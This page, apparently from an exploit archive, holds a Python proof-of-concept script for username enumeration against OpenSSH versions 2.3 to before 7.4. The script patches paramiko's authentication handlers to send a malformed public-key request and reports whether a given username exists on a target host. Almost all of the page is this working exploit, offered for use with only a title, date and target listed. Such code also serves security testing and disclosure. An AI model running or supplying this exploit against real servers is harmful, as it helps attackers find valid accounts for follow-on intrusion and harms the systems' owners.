OpenSSH 2.3 < 7.4 - Username Enumeration (PoC)

Properties

Published:
20.08.2018
Target:
OpenSSH 2.3 < 7.4

Code

#!/usr/bin/env python
 
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
 
 
import argparse
import logging
import paramiko
import socket
import sys
 
 
class InvalidUsername(Exception):
    pass
 
 
def add_boolean(*args, **kwargs):
    pass
 
 
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]
 
def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)
 
 
def userauth_failure(*args, **kwargs):
    raise InvalidUsername()
 
 
paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
 
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
 
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
 
sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)
 
transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)
 
try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'